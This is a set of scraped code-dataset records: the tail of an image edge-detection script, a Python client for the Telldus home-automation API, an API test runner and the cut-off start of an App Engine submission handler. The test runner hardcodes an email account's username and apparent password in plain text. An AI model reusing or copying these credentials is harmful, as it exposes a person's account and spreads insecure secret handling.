).fit()\nprint(cosfire.strategy.tuples)\n\nresult = c.rescaleImage(cosfire.transform(subject), 0, 255)\nresult = 1 - np.where(result > 10, 1, 0)\n\n#plt.imshow(subject, cmap='gray')\n#plt.show()\nplt.imshow(result, cmap='gray')\nplt.show()\nimg = Image.fromarray(c.rescaleImage(result,0,255).astype(np.uint8))\nimg.save('result.png')\n", "sub_path": "experiments/edges/edges.py", "file_name": "edges.py", "file_ext": "py", "file_size_in_byte": 797, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.asarray", "line_number": 6, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 6, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 6, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 7, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 7, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cosfire.COSFIRE", "line_number": 10, "usage_type": "call"}, {"api_name": "cosfire.CircleStrategy", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cosfire.strategy", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cosfire.rescaleImage", "line_number": 16, "usage_type": "call"}, {"api_name": "cosfire.transform", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 23, "usage_type": "name"}, {"api_name": "cosfire.rescaleImage", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 23, "usage_type": "attribute"}]} {"seq_id": "347225138", "text": "#!/usr/bin/env python3\n# -*- mode: python; coding: utf-8 -*-\n\nimport logging\nfrom datetime import datetime, timedelta\nimport sys\nimport requests\nfrom requests.compat import urljoin\nfrom requests_oauthlib import OAuth1Session\nfrom threading import RLock\n\nsys.version_info >= (3, 0) or exit('Python 3 required')\n\n__version__ = '0.10.4'\n\n_LOGGER = logging.getLogger(__name__)\n\nTELLDUS_LIVE_API_URL = 'https://api.telldus.com/json/'\nTELLDUS_LIVE_REQUEST_TOKEN_URL = 'https://api.telldus.com/oauth/requestToken'\nTELLDUS_LIVE_AUTHORIZE_URL = 'https://api.telldus.com/oauth/authorize'\nTELLDUS_LIVE_ACCESS_TOKEN_URL = 'https://api.telldus.com/oauth/accessToken'\n\nTELLDUS_LOCAL_API_URL = 'http://{host}/api/'\nTELLDUS_LOCAL_REQUEST_TOKEN_URL = 'http://{host}/api/token'\nTELLDUS_LOCAL_REFRESH_TOKEN_URL = 'http://{host}/api/refreshToken'\n\nTIMEOUT = timedelta(seconds=10)\n\nUNNAMED_DEVICE = 'NO NAME'\n\n# Tellstick methods\n# pylint:disable=invalid-name\nTURNON = 1\nTURNOFF = 2\nBELL = 4\nTOGGLE = 8\nDIM = 16\nLEARN = 32\nUP = 128\nDOWN = 256\nSTOP = 512\nRGBW = 1024\nTHERMOSTAT = 2048\n\nSUPPORTED_METHODS = (\n TURNON |\n TURNOFF |\n DIM |\n UP |\n DOWN |\n STOP)\n\nMETHODS = {\n TURNON: 'turnOn',\n TURNOFF: 'turnOff',\n BELL: 'bell',\n TOGGLE: 'toggle',\n DIM: 'dim',\n LEARN: 'learn',\n UP: 'up',\n DOWN: 'down',\n STOP: 'stop',\n RGBW: 'rgbw',\n THERMOSTAT: 'thermostat'\n}\n\n# Sensor types\nTEMPERATURE = 'temperature'\nHUMIDITY = 'humidity'\nRAINRATE = 'rrate'\nRAINTOTAL = 'rtot'\nWINDDIRECTION = 'wdir'\nWINDAVERAGE = 'wavg'\nWINDGUST = 'wgust'\nUV = 'uv'\nWATT = 'watt'\nLUMINANCE = 'lum'\nDEW_POINT = 'dewp'\nBAROMETRIC_PRESSURE = 'barpress'\n\nBATTERY_LOW = 255\nBATTERY_UNKNOWN = 254\nBATTERY_OK = 253\n\nSUPPORTS_LOCAL_API = ['TellstickZnet', 'TellstickNetV2']\n\n\ndef supports_local_api(device):\n \"\"\"Return true if the device supports local access.\"\"\"\n return any(dev in device\n for dev in SUPPORTS_LOCAL_API)\n\n\nclass LocalAPISession(requests.Session):\n \"\"\"Connect directly to the device.\"\"\"\n\n def __init__(self, host, application, access_token=None):\n super().__init__()\n self.url = TELLDUS_LOCAL_API_URL.format(host=host)\n self._host = host\n self._application = application\n self.request_token = None\n self.token_timestamp = None\n self.access_token = access_token\n if access_token:\n self.headers.update(\n {'Authorization': 'Bearer {}'.format(self.access_token)})\n self.refresh_access_token()\n\n @property\n def authorize_url(self):\n \"\"\"Retrieve URL for authorization.\"\"\"\n try:\n response = self.put(\n TELLDUS_LOCAL_REQUEST_TOKEN_URL.format(host=self._host),\n data={'app': self._application},\n timeout=TIMEOUT.seconds)\n response.raise_for_status()\n result = response.json()\n self.request_token = result.get('token')\n return result.get('authUrl')\n except (OSError, ValueError) as e:\n _LOGGER.error('Failed to retrieve authorization URL: %s', e)\n\n def authorize(self):\n \"\"\"Perform authorization.\"\"\"\n try:\n response = self.get(\n TELLDUS_LOCAL_REQUEST_TOKEN_URL.format(host=self._host),\n params=dict(token=self.request_token),\n timeout=TIMEOUT.seconds)\n response.raise_for_status()\n result = response.json()\n if 'token' in result:\n self.access_token = result['token']\n self.headers.update(\n {'Authorization': 'Bearer {}'.format(self.access_token)})\n self.token_timestamp = datetime.now()\n token_expiry = datetime.fromtimestamp(result.get('expires'))\n _LOGGER.debug('Token expires %s', token_expiry)\n return True\n except OSError as e:\n _LOGGER.error('Failed to authorize: %s', e)\n\n def refresh_access_token(self):\n \"\"\"Refresh api token\"\"\"\n try:\n response = self.get(\n TELLDUS_LOCAL_REFRESH_TOKEN_URL.format(host=self._host))\n response.raise_for_status()\n result = response.json()\n self.access_token = result.get('token')\n self.token_timestamp = datetime.now()\n token_expiry = datetime.fromtimestamp(result.get('expires'))\n _LOGGER.debug('Token expires %s', token_expiry)\n return True\n except OSError as e:\n _LOGGER.error('Failed to refresh access token: %s', e)\n\n def authorized(self):\n \"\"\"Return true if successfully authorized.\"\"\"\n return self.access_token\n\n def maybe_refresh_token(self):\n \"\"\"Refresh access_token if expired.\"\"\"\n if self.token_timestamp:\n age = datetime.now() - self.token_timestamp\n if age > timedelta(seconds=(12 * 60 * 60)): # 12 hours\n self.refresh_access_token()\n\n\nclass LiveAPISession(OAuth1Session):\n \"\"\"Connection to the cloud service.\"\"\"\n\n # pylint: disable=too-many-arguments\n def __init__(self,\n public_key,\n private_key,\n token=None,\n token_secret=None,\n application=None):\n super().__init__(public_key, private_key, token, token_secret)\n self.url = TELLDUS_LIVE_API_URL\n self.access_token = None\n self.access_token_secret = None\n if application:\n self.headers.update({'X-Application': application})\n\n @property\n def authorize_url(self):\n \"\"\"Retrieve URL for authorization.\"\"\"\n _LOGGER.debug('Fetching request token')\n try:\n self.fetch_request_token(\n TELLDUS_LIVE_REQUEST_TOKEN_URL, timeout=TIMEOUT.seconds)\n _LOGGER.debug('Got request token')\n return self.authorization_url(TELLDUS_LIVE_AUTHORIZE_URL)\n except (OSError, ValueError) as e:\n _LOGGER.error('Failed to retrieve authorization URL: %s', e)\n\n def authorize(self):\n \"\"\"Perform authorization.\"\"\"\n try:\n _LOGGER.debug('Fetching access token')\n token = self._fetch_token(\n TELLDUS_LIVE_ACCESS_TOKEN_URL, timeout=TIMEOUT.seconds)\n _LOGGER.debug('Got access token')\n self.access_token = token['oauth_token']\n self.access_token_secret = token['oauth_token_secret']\n _LOGGER.debug('Authorized: %s', self.authorized)\n return self.authorized\n except (OSError, ValueError) as e:\n _LOGGER.error('Failed to authorize: %s', e)\n\n def maybe_refresh_token(self):\n \"\"\"Refresh access_token if expired.\"\"\"\n pass\n\n\nclass LocalUDPSession():\n TELLSTICK_SUCCESS = 0\n TELLSTICK_ERROR_DEVICE_NOT_FOUND = -3\n TELLSTICK_ERROR_UNKNOWN = -99\n\n def __init__(self, devicemanager, logger=None):\n self._request = None\n self._LOGGER = logger or logging.getLogger(__name__)\n self.devicemanager = devicemanager\n self.response = None\n self._exception = None\n self.status_code = None\n self.headers = {}\n self._json = None\n self.url = 'http://tellstick/'\n self.authorized = True\n\n def __str__(self):\n return self.response\n\n def devices(self, *args, params=None, timeout=None):\n \"\"\" creates device json \"\"\"\n if args[0] == \"list\":\n devices = {\"device\": self.devicemanager.listdevices()}\n self._LOGGER.debug(\"Devices: %s: \", devices)\n self._json = devices\n return self.TELLSTICK_SUCCESS\n else:\n self._json = {\"error\": \"Internal server error\"}\n raise AttributeError\n\n def sensors(self, *args, params=None, timeout=None):\n \"\"\" creates sensor json \"\"\"\n if args[0] == \"list\":\n sensor = {\"sensor\": self.devicemanager.listsensors()}\n self._LOGGER.debug(\"Sensor: %s: \", sensor)\n self._json = sensor\n self._LOGGER.debug(\"_json: %s: \", self._json)\n return self.TELLSTICK_SUCCESS\n else:\n self._json = {\"error\": \"Internal server error\"}\n raise AttributeError\n\n def sensor(self, *args, params=None, timeout=None):\n self._LOGGER.debug(\"Sensor id: %s \", params['id'])\n s = self.devicemanager.sensor(params['id'])\n self._LOGGER.debug(\"Got sensor: %s \", s)\n if s.isSensor():\n if args[0] == \"info\":\n self._json = s.deviceInfo()\n return self.TELLSTICK_SUCCESS\n else:\n self._json = {\"error\": \"Internal server error\"}\n raise AttributeError\n else:\n self._json = {\"error\": \"Internal server error\"}\n raise AttributeError\n\n def device(self, *args, params=None, timeout=None):\n \"\"\" runnns command on device \"\"\"\n self._LOGGER.debug(\"Device id: %s \", params['id'])\n d = self.devicemanager.device(params['id'])\n self._LOGGER.debug(\"Got device: %s \", d)\n if d.isDevice():\n if args[0] == \"turnOn\":\n d.command(TURNON)\n self._json = {\"status\": \"success\"}\n return self.TELLSTICK_SUCCESS\n\n elif args[0] == \"turnOff\":\n d.command(TURNOFF)\n self._json = {\"status\": \"success\"}\n return self.TELLSTICK_SUCCESS\n elif args[0] == \"info\":\n self._json = d.deviceInfo()\n return self.TELLSTICK_SUCCESS\n else:\n self._json = {\"error\": \"Internal server error\"}\n raise AttributeError\n else:\n self._json = {\"error\": \"Internal server error\"}\n raise AttributeError\n\n def get(self, url, params=None, timeout=None):\n \"\"\" request get faker \"\"\"\n self._LOGGER.debug(\"url: %s: \", url)\n self._request = url[len(self.url):].split('/')\n self._LOGGER.debug(\"get() _request[0]: %s: \", self._request[0])\n self._LOGGER.debug(\"get() _request[1:]: %s: \", self._request[1:])\n self._LOGGER.debug(\"get() params: %s: \", params)\n self.headers['content-type'] = \"application/json; charset=utf-8\"\n try:\n self.response = getattr(self,\n \"%s\" % self._request[0]\n )(*self._request[1:],\n params=params,\n timeout=timeout)\n except AttributeError:\n self._exception = \"500 Internal server error %s\" % self._request\n self.status_code = 500\n self._json = {\"error\": \"Internal server error\"}\n return self\n self.status_code = 200\n self._LOGGER.debug(\"get() _json: %s: \", self._json)\n return self\n\n @staticmethod\n def raise_for_status():\n \"\"\" pass status exception \"\"\"\n pass\n\n def json(self):\n \"\"\" returns json \"\"\"\n return self._json\n\n @staticmethod\n def maybe_refresh_token():\n \"\"\"Refresh access_token if expired.\"\"\"\n pass\n\n\nclass DefaultCallbackDispatcher(object):\n def __init__(self):\n super(DefaultCallbackDispatcher, self).__init__()\n\n def on_callback(self, callback, *args):\n callback(*args)\n\n\nclass AsyncioCallbackDispatcher(object):\n \"\"\"Dispatcher for use with the event loop available in Python 3.4+.\n Callbacks will be dispatched on the thread running the event loop. The loop\n argument should be a BaseEventLoop instance, e.g. the one returned from\n asyncio.get_event_loop().\n \"\"\"\n def __init__(self, loop):\n super(AsyncioCallbackDispatcher, self).__init__()\n self._loop = loop\n _LOGGER.debug(\"AsyncioCallbackDispatcher enabled with loop: %s\", loop)\n\n def on_callback(self, callback, *args):\n _LOGGER.debug(\"AsyncioCallbackDispatcher called\")\n self._loop.call_soon_threadsafe(callback, *args)\n\n\nclass Session:\n \"\"\"Tellduslive session.\"\"\"\n\n # pylint: disable=too-many-arguments\n def __init__(self,\n public_key=None,\n private_key=None,\n token=None,\n token_secret=None,\n host=None,\n application=None,\n listen=False, # listen for local UDP broadcasts\n callback=None, # callback for asynchrounous sensor updates\n config=None, # config for localUDPSession and async_listner\n callback_dispatcher=None):\n\n if callback_dispatcher:\n self._callback_dispatcher = callback_dispatcher\n else:\n self._callback_dispatcher = DefaultCallbackDispatcher()\n\n _LOGGER.info('%s version %s', __name__, __version__)\n if not(all([public_key,\n private_key,\n token,\n token_secret]) or\n all([listen]) or\n all([host, token]) or\n all([host, listen])):\n raise ValueError('Missing configuration')\n\n self._state = {}\n self._lock = RLock()\n if listen:\n from tellsticknet import devicemanager\n self._devicemanager = devicemanager.Tellstick(host=host,\n logger=_LOGGER,\n config=listen)\n\n host = host or (listen\n if isinstance(listen, str)\n else None)\n\n self._session = (\n LocalAPISession(host,\n application,\n token) if host and token and not public_key else\n LiveAPISession(public_key,\n private_key,\n token,\n token_secret,\n application) if (public_key and\n private_key and\n token and\n token_secret) else\n LocalUDPSession(self._devicemanager))\n\n if listen:\n _LOGGER.debug(\"Callback functions is: %s\", callback)\n self.update()\n for d in self.devices:\n if not d.is_sensor:\n self._devicemanager.adddevice({'name': d.name,\n 'id': d.device_id,\n 'parameters': d.parameters,\n 'protocol': d.protocol,\n 'model': d.model,\n 'client_id': d.client_id})\n self._setup_async_listener(self._devicemanager, callback)\n\n def _setup_async_listener(self, devicemanager, callback):\n \"\"\"Starts listening for asynchronous UDP packets on the\n local network. If host is None, autodiscovery will be used.\"\"\"\n def got(device):\n \"\"\"Callback when ascynhronous packet is received.\n N.B. will be called in another thread.\"\"\"\n local_id = ()\n with self._lock:\n callbackdevice = None\n \"\"\" check i device is a sensor \"\"\"\n if 'sensorId' in device:\n local_id = (device['protocol'],\n device['model'],\n str(device['sensorId']))\n _LOGGER.debug('Received asynchronous packet %s:%s:%s',\n *local_id)\n _LOGGER.debug('Received asynchronous data %s from %s',\n device['data'], local_id)\n\n sensor = next((sensor\n for sensor in self.sensors\n if ((sensor.protocol,\n sensor.model,\n str(sensor.sensorId)) == local_id)),\n None)\n\n if not sensor:\n _LOGGER.info('Found no corresponding device on server'\n 'for packet %s:%s:%s %s', *local_id,\n 'new sensor added')\n self._state.update({'_' + str(device['id']): device})\n\n sensor = next((sensor\n for sensor in self.sensors\n if ((sensor.protocol,\n sensor.model,\n str(sensor.sensorId)\n ) == local_id)),\n None)\n\n _LOGGER.debug('Got asynchronous update from sensor %s',\n sensor.name)\n\n sensor.device.update({\"data\": device['data']})\n callbackdevice = sensor.device\n else:\n for param in device.get('parameters'):\n if param.get('name') == 'unit':\n unit = param.get('value')\n elif param.get('name') == 'house':\n house = param.get('value')\n local_id = (house, unit)\n _LOGGER.debug('Received asynchronous data %s from %s',\n device, local_id)\n for dev in self.devices:\n if dev.parameters:\n for param in dev.parameters:\n if param.get('name') == 'unit':\n unit = param.get('value')\n elif param.get('name') == 'house':\n house = param.get('value')\n device_id = (house, unit)\n if device_id == local_id:\n _LOGGER.debug('Found device %s from %s',\n dev.device, device_id)\n break\n if not dev:\n _LOGGER.info('Found no corresponding device on server'\n 'for packet %s %s', local_id,\n 'new device added')\n self._state.update({str(device['id']): device})\n\n dev = next((dev\n for dev in self.devices\n if (dev.device_id == device['id'])), None)\n\n _LOGGER.debug('Got asynchronous update from device %s',\n dev.name)\n dev.device.update({'state': device.get('state')})\n callbackdevice = dev.device\n _LOGGER.debug(\"callback device id %s\",\n callbackdevice.get('id'))\n self._callback_dispatcher.on_callback(callback,\n callbackdevice)\n\n _LOGGER.info('Starting asynchronous listener thread')\n devicemanager.async_listen(callback=got)\n\n @property\n def authorize_url(self):\n \"\"\"Retrieve URL for authorization.\"\"\"\n return self._session.authorize_url\n\n def authorize(self):\n \"\"\"Perform authorization.\"\"\"\n return self._session.authorize()\n\n @property\n def access_token(self):\n \"\"\"Return access token.\"\"\"\n return self._session.access_token\n\n @property\n def is_authorized(self):\n \"\"\"Return true if successfully authorized.\"\"\"\n return self._session.authorized\n\n @property\n def access_token_secret(self):\n \"\"\"Return the token secret.\"\"\"\n return self._session.access_token_secret\n\n def _device(self, device_id):\n \"\"\"Return the raw representaion of a device.\"\"\"\n with self._lock:\n return self._state.get(device_id)\n\n def _request(self, path, **params):\n \"\"\"Send a request to the Tellstick Live API.\"\"\"\n try:\n self._session.maybe_refresh_token()\n url = urljoin(self._session.url, path)\n _LOGGER.debug('Request %s %s', url, params)\n response = self._session.get(url,\n params=params,\n timeout=TIMEOUT.seconds)\n response.raise_for_status()\n _LOGGER.debug('Response %s %s %s',\n response.status_code,\n response.headers['content-type'],\n response.json())\n response = response.json()\n if 'error' in response:\n raise OSError(response['error'])\n return response\n except OSError as error:\n _LOGGER.warning('Failed request: %s', error)\n\n def execute(self, method, **params):\n \"\"\"Make request, check result if successful.\"\"\"\n with self._lock:\n response = self._request(method, **params)\n return response and response.get('status') == 'success'\n\n def _request_devices(self):\n \"\"\"Request list of devices from server.\"\"\"\n res = self._request('devices/list',\n supportedMethods=SUPPORTED_METHODS,\n includeIgnored=0)\n return res.get('device') if res else None\n\n def _request_device(self, id):\n \"\"\"Request list of devices from server.\"\"\"\n res = self._request('device/info',\n id=id)\n return res if res else None\n\n def _request_sensor(self, id):\n \"\"\"Request list of devices from server.\"\"\"\n res = self._request('sensor/info',\n id=id)\n return res if res else None\n\n def _request_sensors(self):\n \"\"\"Request list of sensors from server.\"\"\"\n res = self._request('sensors/list',\n includeValues=1,\n includeScale=1,\n includeIgnored=0)\n return res.get('sensor') if res else None\n\n def update(self):\n \"\"\"Updates all devices and sensors from server.\"\"\"\n with self._lock:\n def collect(devices, is_sensor=False):\n \"\"\"Update local state.\n N.B. We prefix sensors with '_',\n since apparently sensors and devices\n do not share name space and there can\n be collissions.\n FIXME: Remove this hack.\"\"\"\n self._state.update({'_' * is_sensor + str(device['id']): device\n for device in devices or {}\n if device['name'] and\n not (is_sensor and\n 'data' not in device)})\n\n devices = self._request_devices()\n for i, d in enumerate(devices):\n if d.get('id') in list(self.device_ids):\n _LOGGER.debug(\"already known device\")\n req_dev = self.device(d.get('id'))\n d.update({'parameters': req_dev.parameters})\n d.update({'protocol': req_dev.protocol})\n d.update({'model': req_dev.model})\n d.update({'client_id': req_dev.client_id})\n devices[i].update(d)\n else:\n _LOGGER.debug(\"Getting protocol and parameters\",\n \"for new device\")\n req_dev = self._request_device(d.get('id'))\n d.update({'parameters': req_dev.get('parameter')})\n d.update({'protocol': req_dev.get('protocol')})\n d.update({'model': req_dev.get('model')})\n d.update({'client_id': req_dev.get('client')})\n devices[i].update(d)\n collect(devices)\n\n sensors = self._request_sensors()\n collect(sensors, True)\n\n return (devices is not None and\n sensors is not None)\n\n def device(self, device_id):\n \"\"\"Return a device object.\"\"\"\n return Device(self, device_id)\n\n @property\n def sensors(self):\n \"\"\"Return only sensors.\n FIXME: terminology device vs device.\"\"\"\n return (device\n for device in self.devices\n if device.is_sensor)\n\n @property\n def devices(self):\n \"\"\"Request representations of all devices.\"\"\"\n return (self.device(device_id) for device_id in self.device_ids)\n\n @property\n def device_ids(self):\n \"\"\"List of known device ids.\"\"\"\n with self._lock:\n return self._state.keys()\n\n\nclass Device:\n \"\"\"Tellduslive device.\"\"\"\n\n def __init__(self, session, device_id):\n self._session = session\n self._device_id = device_id\n\n def __str__(self):\n if self.is_sensor:\n items = ', '.join(str(item) for item in self.items)\n return 'Sensor #{id:>9} {name:<20} ({items})'.format(\n id=self.device_id,\n name=self.name or UNNAMED_DEVICE,\n items=items)\n else:\n return ('Device #{id:>9} {name:<20} '\n '({state}:{value}) [{methods}]').format(\n id=self.device_id,\n name=self.name or UNNAMED_DEVICE,\n state=self._str_methods(self.state),\n value=self.statevalue,\n methods=self._str_methods(self.methods))\n\n def __getattr__(self, name):\n if (self.device and\n name in ['name', 'state', 'battery', 'unit', 'house',\n 'model', 'protocol', 'parameters', 'client_id',\n 'lastUpdated', 'methods', 'data', 'sensorId']):\n return self.device.get(name)\n\n @property\n def device(self):\n \"\"\"Return the raw representation of the device.\"\"\"\n # pylint: disable=protected-access\n return self._session._device(self.device_id)\n\n @property\n def device_id(self):\n \"\"\"Id of device.\"\"\"\n return self._device_id\n\n @staticmethod\n def _str_methods(val):\n \"\"\"String representation of methods or state.\"\"\"\n res = []\n for method in METHODS:\n if val & method:\n res.append(METHODS[method].upper())\n return \"|\".join(res)\n\n def _execute(self, command, **params):\n \"\"\"Send command to server and update local state.\"\"\"\n params.update(id=self.device_id)\n # Corresponding API methods\n method = 'device/{}'.format(METHODS[command])\n if self._session.execute(method, **params):\n self.device['state'] = command\n return True\n\n @property\n def is_sensor(self):\n \"\"\"Return true if this is a sensor.\"\"\"\n return 'data' in self.device\n\n @property\n def statevalue(self):\n \"\"\"State value of device.\"\"\"\n val = self.device.get('statevalue')\n return val if val and val != 'unde' else 0\n\n @property\n def is_on(self):\n \"\"\"Return true if device is on.\"\"\"\n return (self.state == TURNON or\n self.state == DIM)\n\n @property\n def is_down(self):\n \"\"\"Return true if device is down.\"\"\"\n return self.state == DOWN\n\n @property\n def dim_level(self):\n \"\"\"Return current dim level.\"\"\"\n try:\n return int(self.statevalue)\n except (TypeError, ValueError):\n return None\n\n def turn_on(self):\n \"\"\"Turn device on.\"\"\"\n return self._execute(TURNON)\n\n def turn_off(self):\n \"\"\"Turn device off.\"\"\"\n return self._execute(TURNOFF)\n\n def dim(self, level):\n \"\"\"Dim device.\"\"\"\n if self._execute(DIM, level=level):\n self.device['statevalue'] = level\n return True\n\n def up(self):\n \"\"\"Pull device up.\"\"\"\n return self._execute(UP)\n\n def down(self):\n \"\"\"Pull device down.\"\"\"\n return self._execute(DOWN)\n\n def stop(self):\n \"\"\"Stop device.\"\"\"\n return self._execute(STOP)\n\n @property\n def items(self):\n \"\"\"Return sensor items for sensor.\"\"\"\n return (SensorItem(item) for item in self.data) if self.data else []\n\n def item(self, name, scale):\n \"\"\"Return sensor item.\"\"\"\n return next((item for item in self.items\n if (item.name == name and\n int(item.scale) == int(scale))), None)\n\n def value(self, name, scale):\n \"\"\"Return value of sensor item.\"\"\"\n return self.item(name, scale).value\n\n\nclass SensorItem:\n # pylint: disable=too-few-public-methods, no-member\n \"\"\"Reference to a sensor data item.\"\"\"\n def __init__(self, data):\n vars(self).update(data)\n\n def __str__(self):\n return '{name}={value}'.format(\n name=self.name, value=self.value)\n\n\ndef read_credentials():\n from sys import argv\n from os.path import join, dirname, expanduser\n for directory in [\n dirname(argv[0]),\n expanduser('~')]:\n try:\n with open(join(directory, '.tellduslive.conf')) as config:\n return dict(\n x.split(': ')\n for x in config.read().strip().splitlines()\n if not x.startswith('#')\n if not x.startswith('local'))\n except OSError:\n continue\n return {}\n\n\nif __name__ == '__main__':\n \"\"\"Dump configured devices and sensors.\"\"\"\n logging.basicConfig(level=logging.INFO)\n credentials = read_credentials()\n session = Session(**credentials)\n session.update()\n print('Devices\\n'\n '-------')\n for device in session.devices:\n print(device)\n for item in device.items:\n print('- {}'.format(item))\n", "sub_path": "tellduslive.py", "file_name": "tellduslive.py", "file_ext": "py", "file_size_in_byte": 30170, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.version_info", "line_number": 12, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 27, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 94, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 138, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 138, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 139, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 139, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 153, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 153, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 154, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 154, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 167, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 167, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 168, "usage_type": "call"}, {"api_name": "requests_oauthlib.OAuth1Session", "line_number": 172, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 227, "usage_type": "call"}, {"api_name": "threading.RLock", "line_number": 397, "usage_type": "call"}, {"api_name": "tellsticknet.devicemanager.Tellstick", "line_number": 400, "usage_type": "call"}, {"api_name": "tellsticknet.devicemanager", "line_number": 400, "usage_type": "name"}, {"api_name": "tellsticknet.devicemanager.async_listen", "line_number": 521, "usage_type": "call"}, {"api_name": "tellsticknet.devicemanager", "line_number": 521, "usage_type": "name"}, {"api_name": "requests.compat.urljoin", "line_number": 556, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 819, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 819, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 820, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 822, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 835, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 835, "usage_type": "attribute"}, {"api_name": "{'devicemanager': 'tellsticknet.devicemanager'}", "line_number": 837, "usage_type": "call"}]} {"seq_id": "478581250", "text": "# main.py\n# 接口自动化测试框架入口\n\nimport unittest\nfrom datetime import datetime\nfrom unittestreport import TestRunner\n\nfrom common.handle_path import testcases_dir\nfrom common.handle_path import report_dir\n\nss = unittest.TestLoader().discover(testcases_dir)\n\nnow_time = datetime.now().strftime(\"%Y-%m-%d %H-%M-%S\")\nreport_name = \"nmb_py33_apitest_{}.html\".format(now_time)\n# br = BeautifulReport(ss)\n# br.report(\"接口自动化测试报告\", \"py33-register-apitest\", report_dir)\n\nrunner = TestRunner(ss,\n filename=report_name,\n report_dir=report_dir,\n title=\"py33-register-apitest\",\n tester=\"ss\",\n desc=\"py33接口测试报告\")\nrunner.run()\nrunner.send_email(host=\"smtp.163.com\",\n port=465,\n user=\"songsheng920101@163.com\",\n password=\"ss920101\",\n to_addrs=\"1129126506@qq.com\"\n )\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1003, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "common.handle_path.testcases_dir", "line_number": 11, "usage_type": "argument"}, {"api_name": "unittest.TestLoader", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "name"}, {"api_name": "unittestreport.TestRunner", "line_number": 18, "usage_type": "call"}, {"api_name": "common.handle_path.report_dir", "line_number": 20, "usage_type": "name"}]} {"seq_id": "580775056", "text": "'''\nThis program accepts student submissions online\nCopyright (C) 2014 Sagar G V (sagar.writeme@gmail.com)\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the \"Software\"),\nto deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense,\nand/or sell copies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included\nin all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\nDAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE\nOR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n'''\n\nimport session\nimport re\nimport webapp2\nimport os\nimport controllers.user as user\nimport jinja2\nfrom google.appengine.ext import blobstore\nfrom google.appengine.ext.webapp import blobstore_handlers\nimport urllib\nfrom models import submissions\nfrom models import tags\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__)+'/../views'),\n extensions=['jinja2.ext.autoescape'],\n autoescape=True)\n\nclass Submission(session.BaseSessionHandler):\n def get(self,tag):\n if tags.Tag.all().filter(\"tag =\",tag).get():\n u = user.login(self)\n if not u:\n return\n\n email, fullname = u\n goodmsg = badmsg = \"\"\n flashes = self.session.get_flashes(key='fail')\n if flashes:\n badmsg = flashes[0][0]\n flashes = self.session.get_flashes(key='success')\n if flashes:\n goodmsg = flashes[0][0]\n\n upload_url = blobstore.create_upload_url('/upload/%s/%s' % (tag,email))\n\n subs = 